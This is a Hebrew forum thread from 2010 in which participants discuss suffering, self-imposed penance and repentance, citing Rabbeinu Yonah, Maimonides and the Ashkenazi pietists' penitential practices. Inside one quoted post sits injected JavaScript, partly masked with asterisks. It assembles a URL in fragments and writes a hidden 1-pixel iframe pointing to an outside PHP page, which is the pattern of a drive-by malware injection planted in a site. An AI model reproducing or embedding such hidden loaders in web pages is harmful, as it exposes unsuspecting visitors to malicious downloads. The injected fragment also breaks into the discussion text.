כי בפשוטו יש לחלק בין ייסורים שנטפלים אל האדם על כרחו, שזה מן הסתם בגלל כמה ענייני שקר שנפשו דבקה בהם והוליכוהו אל מחוזות הייסורים [הריחוק מהשורש כפי שביארת] [וייסורי מחלות ומקרים רעים גם בכלל זה, כי נסתבבו על ידי מעשים רעים ושקריים כנראה, וגם האיברים תלויים בנשמה].
אבל מה שמקבל על עצמו - לכאורה יש בזה רק כעין שילד כותב מאה פעמים "לא אדבר יותר באמצע השיעור"..
נשלח ב-22/11/2010 19:27
שוניקו כתב:
אבל מה שמקבל על עצמו - לכאורה יש בזה רק כעין שילד כותב מאה פעמים "לא אדבר יותר באמצע השיעור"..
אדרבא כאן הוא "נכנס ראש בראש" עם מציאות השקר שבנה ועוקר אותה ממנו בס"ד.
נשלח ב-22/11/2010 19:32
זה מבחינת הכוונה הטובה שלו, אבל הבחינה של רבינו יונה "וישיב אל ליבו כי רע ומר עזבו את השם", לכאורה יותר מובנת כאשר יש לכך הקשר השתלשלותי בין העבירה למצב הביש של הייסורים..
נשלח ב-22/11/2010 19:46
שוניקו כתב:
זה מבחינת הכוונה הטובה שלו,
אבל הבחינה של רבינו יונה "וישיב אל ליבו כי רע ומר עזבו את השם",
לכאורה יותר מובנת כאשר יש לכך הקשר השתלשלותי בין העבירה למצב הביש של הייסורים..
עצם העובדה שקבל על עצמו את היסורים מלמדת שהוא משיב אל ליבו היטב כי רע ומר עוזבו את השם.
נשלח ב-22/11/2010 20:12
זה בתור לימוד היקשי, [שיכול לבוא מעצם הקבלה גם אם בפועל לא יבואו בסוף הייסורים] אבל חוששני שסטינו כברת דרך ממגמת האשכול העיקרית.
נשלח ב-22/11/2010 20:32
מיימוני כתב:
לפעמים נסיון לכפר על ידי מעשים רבים ומורכבים של סבל הוא תרופה לנפש. האדם רוצה בסבל מפני שכך הוא מרגיש שהוא "משלם" ורשאי לסלוח לעצמו ולקבל את עצמו נקי.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
האם זה מה שעומד ברקע של תשובת המשקל של חסידי אשכנז?
_________________
נשלח ב-22/11/2010 22:53
למיימוני אכן לא זו היתה כוונת דברי. לדעתי ולדעת הרבה ספרים וסופריהם לפני, תשובת המשקל אינה מגדרי התשובה -והיא שיעזוב החוטא חטאו כפי שכתב הרמב״ם- אלא מגדרי הכפרה ומירוק החטא. איני יודע מה הפירוש להרגיש נקי !. כשאדם עובר עבירה ומחליט לא לחזור עליה שנית כבר שב. האם זו תשובה שלימה ? כן. האם הוא כבר נקי ולא נשאר בו רושם מהחטא ? לא. יש את המאמר הידוע ״כיון שעבר אדם עבירה ושנה בו נעשית לו כהיתר״ שהמכוון בדברי חז״ל אלו שאחרי חטא נעשית באדם הטיה מסויימת לחטוא שנית ואותה עליו לשרש כדי להיות נקי מצד שני הרמב״ם באומרו שתשובה שאדם עושה בזקנותו אינה שלימה כמו שהיה עושה אותה בצעירותו אינו מכוון לדברי אלו שאדרבא בזקנותו בין כה וכה אין נטיותיו שסיגל בחטאיו בתוקפן ועדיין אין תשובתו שלימה ( היה ראוי לפתוח אשכול על הנושא ״ פסיכולוגיה חז״לית מנין ולאן ״ כשהכוונה שלי על כך שיש הרבה פסיכולוגיות בלבוש תיאולוגי שלא תמיד נזהה אותן במבט ראשוני)
